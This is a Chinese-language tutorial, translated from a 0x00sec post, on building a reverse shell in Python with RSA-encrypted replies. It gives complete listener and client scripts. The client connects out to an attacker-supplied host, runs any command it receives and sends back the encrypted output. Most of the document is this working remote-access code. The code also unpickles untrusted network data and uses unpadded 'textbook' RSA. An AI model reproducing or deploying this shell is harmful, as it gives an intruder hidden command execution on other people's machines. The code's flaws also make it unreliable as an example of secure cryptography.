使用RSA加密在Python中逆向shell
使用RSA加密在Python中逆向shell
這是一個關於使用RSA加密程式設計逆向shell的python教程。 我想提一下,這篇文章更多的是關於理解shell中涉及的加密而不是shell本身。 github的連結是https://github.com/ca10x/RSA-reverse-shell
偵聽器
首先,我們需要一個偵聽器來處理所有傳入的連線。 這是listener_rsa.py的程式碼
- #!/usr/bin/python
- from Crypto.PublicKey import RSA
- from Crypto import Random
- from Crypto.Hash import SHA256
- import socket
-
from thread
import *
- import sys
- import pickle
- # Generate public key and private key
-
random_generator =
Random.new().read
- key = RSA.generate(2048, random_generator)
- public_key = key.publickey()
- # Create socket and bind to accept connections
- s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)
- try:
- s.bind(( "0.0.0.0", 4444))
- except socket.error, v:
- print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
- sys.exit()
- print "Socket bind complete"
- s.listen( 2)
- print "[+] Listening to the incoming connection on port 4444..."
- def clientthread_sendpublickey(client) :
- client.send(pickle.dumps(public_key))
- def clienthandle(client) :
- while True :
- command = raw_input( '~$ ')
- client.send(command)
- if command == 'quit' :
- break
- buf = client.recv( 2048)
- encreply = pickle.loads(buf)
- print key.decrypt(encreply)
- while True:
- (client, (ip, port)) = s.accept()
- print "Received connection from : ", ip
- start_new_thread(clientthread_sendpublickey, (client,))
- print "Public Key sent to", ip
- start_new_thread(clienthandle, (client,))
我在Python中使用PyCrypto模組進行加密。 繼續安裝它。 我建議使用pip來安裝模組。
$ sudo pip install pycrypto
在我們進入程式碼之前,讓我向你解釋一下RSA加密及其金鑰。 RSA是一種非對稱加密標準。 它有兩個鍵,公共和私有。 簡單來說,公鑰用於加密訊息,私鑰用於解密。 下面是描述該過程的框圖
如果你對RSA的數學工作感興趣,那麼我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)
在上面的程式中,首先生成金鑰,該金鑰也是私鑰。
key = RSA.generate(2048, random_generator)
函式RSA.generate有兩個引數,第一個是以位為單位的金鑰的大小,第二個是通常使用python隨機函式生成的隨機數。 在建立私鑰之後,從中提取公鑰並將其儲存在變數中以供將來使用。
public_key = key.publickey()
使用套接字模組建立套接字,這相對簡單。 你可以參考Python套接字1的官方文件,甚至可以進行簡單的Google搜尋。
套接字繫結並等待連線傳入連線。
注 - 如果要將Linux中的套接字繫結到小於1024的埠,則必須以root身份執行該指令碼。
當收到連線時,初始化新執行緒以將生成的公鑰傳送到客戶端,以便它可以加密回覆。
- def clientthread_sendpublickey(client) :
- client.send(pickle.dumps(public_key))
我們為什麼要用Pickle? Pickle用於序列化和反序列化python物件。 由於public_key不是常規字串,因此必須對其進行pickle,然後將其傳送到接收方。
警告 - pickle模組不能防止錯誤或惡意構造的資料。 切勿取消從不受信任或未經身份驗證的來源收到的資料。
一旦傳送了公鑰,另一個執行緒clienthandle(客戶端)被初始化為True:loop,它傳送給接收者的命令。 接收器執行命令並使用公鑰加密輸出。 然後將輸出的pickle傳送給監聽器。
回覆是unpickled,使用私鑰解密並列印在螢幕上。
- encreply = pickle.loads(buf)
- print key.decrypt(encreply)
如果給出'quit'命令,則終止連線。
反向shell
讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的指令碼如下所示
- #!/usr/bin/python
- import socket, subprocess, sys
- from Crypto.PublicKey import RSA
- from Crypto.Hash import SHA256
- import pickle
- RHOST = sys.argv[ 1]
- RPORT = 4444
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((RHOST, RPORT))
- def receive_key():
- data_key = s.recv( 1024)
- return data_key
- pickled_publickey = receive_key()
- public_key = pickle.loads(pickled_publickey)
- while True :
- command = s.recv(1024)
- if command == 'quit' :
- break
- reply = subprocess.Popen(str( command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout, stderr = reply.communicate()
- en_reply = public_key.encrypt(stdout, 32)
- s.send(pickle.dumps(en_reply))
- s.close()
一如既往,匯入必要的模組。 要連線的IP地址作為引數提供,並存儲在RHOST變數中。 建立套接字並與伺服器(偵聽器)建立連線。 一旦接受連線,伺服器就會發送公鑰(在listener.py指令碼中向上滾動到clientthread_sendpublickey()),該公鑰通過函式receive_key()接收並去除(記住pickling?)以獲取公鑰。
- def receive_key():
- data_key = s.recv( 1024)
- return data_key
- pickled_publickey = receive_key()
- public_key = pickle.loads(pickled_publickey)
一段時間初始化True迴圈以保持連線的永續性並接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子程序和標準輸出執行,標準錯誤通過管道傳遞給變數'reply'。 然後使用公鑰對標準輸出進行加密,pickling併發送到伺服器。
- en_reply = public_key.encrypt( stdout, 32)
- s.send(pickle.dumps(en_reply))
然後耐心等待,直到下一個命令。
重要的提示
這種方法是'教科書RSA'的實現。 對於真實世界的實現,你必須新增填充,例如PKCS1_OAEP。
RSA速度慢很多,一次只能加密256個位元組。 你為什麼問? 因為n的值是2048和2048/8 = 256.如果新增填充,閾值將降低,因為它佔用了更多的位元組。
解決方法是RSA應該通過AES使用。
我將在下一篇文章中解釋這個概念。 由於這是我的第一篇文章,歡迎並感謝你的反饋。
新年快樂的人們!
問候,
作者: Cal0X
翻譯:i春秋翻譯小組-Neo(李皓偉)
責任編輯:F0rmat
翻譯來源:https://0x00sec.org/t/reverse-shell-in-python-with-rsa-encryption/1414